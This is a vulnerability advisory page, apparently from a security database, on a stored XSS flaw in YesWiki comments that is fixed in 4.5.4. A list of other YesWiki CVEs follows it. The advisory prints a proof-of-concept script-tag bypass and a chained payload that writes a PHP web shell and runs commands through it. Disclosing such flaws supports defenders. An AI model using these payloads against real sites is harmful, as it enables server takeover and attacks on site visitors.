Sign in
Deutsch English Español Polski
Low

YesWiki Stored XSS Vulnerability in Comments

  • Disclosed: 29.04.2025
  • Updated: 11.10.2026 10:22

Summary

A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.

The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like /* JavaScriptPayload */.

PoC

Navigate to a site and page that allows comments and place this in the comments section and submit it:

/*<script>alert('pizzapower')</script>*/

Upon submitting to the page, it will run. And then upon every page visit, it will run.

Impact

An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.:

/*<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>*/

Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package yeswiki/yeswiki < 4.5.4 4.5.4

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P
Weakness (CWE)
CWE-79
Platform
Composer
Package
yeswiki/yeswiki
Disclosed
29.04.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-59x8-cvxh-3mm4 - CC BY 4.0

Vulnerability history: yeswiki/yeswiki

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
03.2022 07.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 16
  • Medium 8
  • Low 2

Disclosures per year

Severity:
  1. YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution & Denial of Service
    Critical · 9.8 CVE-2026-52778 < 4.6.6 4.6.6
  2. YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize
    Critical CVE-2026-52777 < 4.6.6 4.6.6
  3. YesWiki has Authenticated SQL Injection via ReactionManager
    High · 8.8 CVE-2026-52775 < 4.6.6 4.6.6
  4. YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)
    High · 8.3 CVE-2026-52771 >= 4.2.0, < 4.6.6 4.6.6
  5. YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters
    High · 7.5 CVE-2026-52770 < 4.6.6 4.6.6
  6. YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
    High · 8.3 CVE-2026-52769 >= 4.6.2, < 4.6.6 4.6.6
  7. YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
    High · 8.2 CVE-2026-52767 >= 4.6.2, < 4.6.6 4.6.6
  8. YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action
    Critical · 9.1 CVE-2026-52766 < 4.6.6 4.6.6
  9. YesWiki: Authenticated (Admin) Server-Side Template Injection to Remote Code Execution via Bazar Semantic Templates
    High CVE-2026-52762 < 4.6.6 4.6.6
  10. YesWiki: Unauthenticated SQL Injection
    Critical · 9.8 CVE-2026-46670 < 4.6.4 4.6.4
  11. YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()
    High · 8.8 CVE-2026-41143 < 4.6.1 4.6.1
  12. YesWiki has Persistent Blind XSS at "/?BazaR&vue=consulter"
    High CVE-2026-34598 < 4.6.0 4.6.0
  13. YesWiki Stored XSS Vulnerability in Comments this entry
    Low CVE-2025-46346 < 4.5.4 4.5.4
  14. YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution
    High CVE-2025-46347 < 4.5.4 4.5.4
  15. YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download
    Critical · 10.0 CVE-2025-46348 < 4.5.4 4.5.4
  16. YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting
    High · 7.6 CVE-2025-46349 <= 4.5.3 no fix
  17. Yeswiki Path Traversal vulnerability allows arbitrary read of files
    High · 8.6 CVE-2025-31131 < 4.5.2 4.5.2
  18. Authenticated arbitrary file deletion in YesWiki
    High · 7.1 CVE-2025-24019 < 4.5.0 4.5.0
  19. Authenticated Stored XSS in YesWiki
    High · 7.6 CVE-2025-24018 < 4.5.0 4.5.0
  20. Unauthenticated DOM Based XSS in YesWiki
    High · 7.6 CVE-2025-24017 < 4.5.0 4.5.0
  21. YesWiki Uses a Broken or Risky Cryptographic Algorithm
    High · 9.9 CVE-2024-51478 < 4.4.5 4.4.5
  22. SQL Injection in Yeswiki
    High · 7.5 CVE-2021-43091 < 4.1.0 4.1.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.